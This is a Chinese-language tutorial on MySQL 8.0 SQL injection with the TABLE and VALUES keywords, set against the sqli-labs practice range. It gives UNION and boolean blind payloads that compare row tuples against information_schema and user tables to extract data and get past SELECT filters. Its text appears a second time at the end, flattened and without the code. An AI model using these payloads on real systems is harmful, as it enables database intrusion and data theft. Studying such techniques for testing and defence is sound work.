MYSQL8.0注入新特性
字数 1038 2025-08-10 08:28:24

MySQL 8.0注入新特性教学文档

一、环境配置

1.1 搭建MySQL 8.0.22环境

  • 使用Docker快速搭建:
    docker pull mysql:8.0.22
    docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22
    

1.2 配置SQL注入靶场

  • 推荐使用sqli-lab靶场
  • 注意MySQL 8.0认证方式变更问题:
    ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
    

二、MySQL 8.0注入新特性

2.1 TABLE关键字

  • 官方文档:https://dev.mysql.com/doc/refman/8.0/en/table.html
  • 基本语法:
    TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
    
  • 功能类似SELECT,可列出表详细内容
  • 特点:
    • 不能像SELECT控制列数
    • 除非列数相同的表,否则无法回显

2.2 VALUES关键字

  • 官方文档:https://dev.mysql.com/doc/refman/8.0/en/values.html
  • 基本语法:
    VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
    
  • 可以构造一个表
  • 注入应用:
    • 可接在UNION后判断列数
    select * from users where id = 1 union values row(1,2,3)
    
    • 列数不对会报错

三、注入实战技巧

3.1 绕过SELECT过滤

当SELECT被过滤时,可使用TABLE和VALUES进行注入

3.2 判断列数

  1. 使用ORDER BY判断列数
  2. 使用VALUES判断回显位置
    ?id=-1' union values row(1,2,3)--+
    

3.3 获取数据库信息

  1. 获取当前库名(布尔盲注):

    1&&substr((database()),1,1)='c'
    
  2. 获取所有数据库名:

    table information_schema.schemata
    

    使用盲注判断:

    1&&('def','m','',4,5,6)<(table information_schema.schemata limit 1);
    

3.4 获取表名

('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 325,1);

3.5 获取字段名

('def','security','users','','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit 3415,1);

3.6 注入数据

(1,'','') < (table users limit 1);

四、注意事项

  1. 比较时需注意数据类型:

    • 字符列必须用字符表示
    ('def','mysql','',4,5,6)<(table information_schema.schemata limit 1);  # 正确
    ('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1);   # 错误
    
  2. 字符比较规则:

    • 按ASCII码顺序比较
    • 从左到右逐个字符判断
    • 前一个字符判断不正确会影响后续判断
  3. 表名匹配问题:

    • 不同表名可能匹配到相同行数(如sys和security)
    • 需要结合经验判断准确行数

五、参考资源

  1. MySQL官方文档:

    • TABLE: https://dev.mysql.com/doc/refman/8.0/en/table.html
    • VALUES: https://dev.mysql.com/doc/refman/8.0/en/values.html
  2. 数据库表字段查询参考:
    https://www.cnblogs.com/20175211lyz/p/12358725.html

六、总结

MySQL 8.0注入新特性主要围绕TABLE和VALUES两个关键字展开,在SELECT被过滤时特别有用。注入过程需要结合布尔盲注技术,通过比较操作逐位获取数据。相比传统注入方法,这种方式更复杂但能绕过某些过滤机制。实际应用中需要注意数据类型匹配和字符比较规则,同时要熟悉information_schema中各种系统表的结构。

MySQL 8.0注入新特性教学文档 一、环境配置 1.1 搭建MySQL 8.0.22环境 使用Docker快速搭建: 1.2 配置SQL注入靶场 推荐使用sqli-lab靶场 注意MySQL 8.0认证方式变更问题: 二、MySQL 8.0注入新特性 2.1 TABLE关键字 官方文档:https://dev.mysql.com/doc/refman/8.0/en/table.html 基本语法: 功能类似SELECT,可列出表详细内容 特点: 不能像SELECT控制列数 除非列数相同的表,否则无法回显 2.2 VALUES关键字 官方文档:https://dev.mysql.com/doc/refman/8.0/en/values.html 基本语法: 可以构造一个表 注入应用: 可接在UNION后判断列数 列数不对会报错 三、注入实战技巧 3.1 绕过SELECT过滤 当SELECT被过滤时,可使用TABLE和VALUES进行注入 3.2 判断列数 使用ORDER BY判断列数 使用VALUES判断回显位置 3.3 获取数据库信息 获取当前库名(布尔盲注): 获取所有数据库名: 使用盲注判断: 3.4 获取表名 3.5 获取字段名 3.6 注入数据 四、注意事项 比较时需注意数据类型: 字符列必须用字符表示 字符比较规则: 按ASCII码顺序比较 从左到右逐个字符判断 前一个字符判断不正确会影响后续判断 表名匹配问题: 不同表名可能匹配到相同行数(如sys和security) 需要结合经验判断准确行数 五、参考资源 MySQL官方文档: TABLE: https://dev.mysql.com/doc/refman/8.0/en/table.html VALUES: https://dev.mysql.com/doc/refman/8.0/en/values.html 数据库表字段查询参考: https://www.cnblogs.com/20175211lyz/p/12358725.html 六、总结 MySQL 8.0注入新特性主要围绕TABLE和VALUES两个关键字展开,在SELECT被过滤时特别有用。注入过程需要结合布尔盲注技术,通过比较操作逐位获取数据。相比传统注入方法,这种方式更复杂但能绕过某些过滤机制。实际应用中需要注意数据类型匹配和字符比较规则,同时要熟悉information_ schema中各种系统表的结构。